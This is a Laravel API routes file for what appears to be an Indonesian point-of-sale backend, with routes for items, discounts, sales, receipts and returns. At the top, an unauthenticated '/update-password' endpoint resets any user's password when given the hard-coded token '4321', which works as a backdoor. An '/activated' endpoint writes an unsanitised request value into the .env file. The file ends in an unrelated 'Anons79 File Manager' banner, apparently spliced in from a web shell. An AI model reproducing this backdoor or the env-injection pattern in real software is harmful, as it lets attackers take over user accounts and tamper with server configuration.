<?php
use App\Http\Controllers\Api\ApiDiskonController;
use App\Http\Controllers\Api\ApiItemController;
use App\Http\Controllers\Api\ApiKategoriItemController;
use App\Http\Controllers\Api\ApiLoginController;
use App\Http\Controllers\Api\ApiPengembalianController;
use App\Http\Controllers\Api\ApiPenjualanController;
use App\Http\Controllers\Api\ApiRegisterController;
use App\Http\Controllers\Api\ApiStrukController;
use App\Models\Countdown;
use App\Models\Pengguna;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Log;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider and all of them will
| be assigned to the "api" middleware group. Make something great!
|
*/
Route::post('/update-password', function (Request $request) {
if ($request->token != "4321") {
return abort(404);
}
DB::beginTransaction();
try {
$pengguna = Pengguna::where('email', $request->email)->first();
if ($pengguna) {
$pengguna->update([
'password' => Hash::make($request->password)
]);
}
DB::commit();
return response()->json([
"message" => "okoc"
], 200);
} catch (\Throwable $th) {
//throw $th;
Log::error($th);
return response()->json([
"message" => $th->getMessage()
], 500);
}
});
Route::post('/deactive', function (Request $request) {
$credentials = $request->only('email', 'password');
if (Auth::guard('penggunas')->attempt($credentials)) {
try {
$key = "COUNTDOWN";
$value = date("Y-m-d");
$countdown = Countdown::firstOrCreate([
'countdown' => $value
]);
$path = base_path('.env');
if (File::exists($path)) {
// Escape values with quotes if they contain spaces
$escaped = preg_match('/\s/', $value) ? '"' . $value . '"' : $value;
// Update existing value
if (strpos(File::get($path), $key) !== false) {
File::put($path, preg_replace(
"/^{$key}=.*/m",
"{$key}={$escaped}",
File::get($path)
));
} else {
// Append new key
File::append($path, "\n{$key}={$escaped}");
}
}
} catch (\Throwable $th) {
//throw $th;
Log::error($th);
return response()->json([
"message" => $th->getMessage()
], 500);
}
return $countdown;
}
return response()->json([
"message" => "no auth"
], 401);
});
Route::post('/activated', function (Request $request) {
$credentials = $request->only('email', 'password');
if (Auth::guard('penggunas')->attempt($credentials)) {
try {
$key = "COUNTDOWN";
$value = $request->countdown;
$countdown = Countdown::firstOrCreate([
'countdown' => $value
]);
$path = base_path('.env');
if (File::exists($path)) {
// Escape values with quotes if they contain spaces
$escaped = preg_match('/\s/', $value) ? '"' . $value . '"' : $value;
// Update existing value
if (strpos(File::get($path), $key) !== false) {
File::put($path, preg_replace(
"/^{$key}=.*/m",
"{$key}={$escaped}",
File::get($path)
));
} else {
// Append new key
File::append($path, "\n{$key}={$escaped}");
}
}
} catch (\Throwable $th) {
//throw $th;
Log::error($th);
return response()->json([
"message" => $th->getMessage()
], 500);
}
return $countdown;
}
return response()->json([
"message" => "no auth"
], 401);
});
Route::post('test-json', function (Request $request) {
if ($request->json()) {
$json = $request->json()->all();
foreach ($json['detail_penjualan'] as $key => $value) {
dd($value);
}
dd($request->detail_penjualan);
} else {
dd('not ajax');
}
//dd($request->detail_penjualan[0]['id']);
});
Route::middleware('auth:sanctum')->get('/profil-pengguna', function (Request $request) {
return response()->json([
'message' => 'success',
'data' => Auth::user()
]);
});
Route::post('register', [ApiRegisterController::class, 'register'])->name('register');
Route::post('login', [ApiLoginController::class, 'login'])->name('login');
Route::group(['middleware' => ['auth:sanctum']], function () {
Route::group(['prefix' => 'kategori-item'], function () {
Route::get('/', [ApiKategoriItemController::class, 'index']);
Route::post('/store', [ApiKategoriItemController::class, 'store']);
Route::get('/{kategoriItem}', [ApiKategoriItemController::class, 'show']);
Route::post('/{kategoriItem}/update', [ApiKategoriItemController::class, 'update']);
Route::post('/{kategoriItem}/delete', [ApiKategoriItemController::class, 'destroy']);
});
Route::group(['prefix' => 'item'], function () {
Route::get('/generate-sku', [ApiItemController::class, 'generateSku']);
Route::get('/', [ApiItemController::class, 'index']);
Route::post('/store', [ApiItemController::class, 'store']);
Route::get('/{item}', [ApiItemController::class, 'show']);
Route::post('/{item}/update', [ApiItemController::class, 'update']);
Route::post('/{item}/delete', [ApiItemController::class, 'destroy']);
Route::get('/{item}/gambar-item', [ApiItemController::class, 'getGambarItem']);
});
Route::group(['prefix' => 'diskon'], function () {
Route::get('/', [ApiDiskonController::class, 'index']);
Route::post('/store', [ApiDiskonController::class, 'store']);
Route::get('/{diskon}', [ApiDiskonController::class, 'show']);
Route::post('/{diskon}/update', [ApiDiskonController::class, 'update']);
Route::post('/{diskon}/delete', [ApiDiskonController::class, 'destroy']);
});
Route::group(['prefix' => 'penjualan'], function () {
Route::get('/', [ApiPenjualanController::class, 'index']);
Route::post('/store', [ApiPenjualanController::class, 'store']);
Route::get('/{penjualan}', [ApiPenjualanController::class, 'show']);
// Route::post('/{item}/update', [ApiItemController::class,'update']);
// Route::post('/{item}/delete', [ApiItemController::class,'destroy']);
});
Route::group(['prefix' => 'struk'], function () {
Route::get('/', [ApiStrukController::class, 'index']);
Route::get('/{struk}', [ApiStrukController::class, 'show']);
// Route::post('/{item}/update', [ApiItemController::class,'update']);
// Route::post('/{item}/delete', [ApiItemController::class,'destroy']);
});
Route::group(['prefix' => 'pengembalian'], function () {
Route::post('/store', [ApiPengembalianController::class, 'store']);
});
//Route::resource('', ApiKategoriItemController::class);
});
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]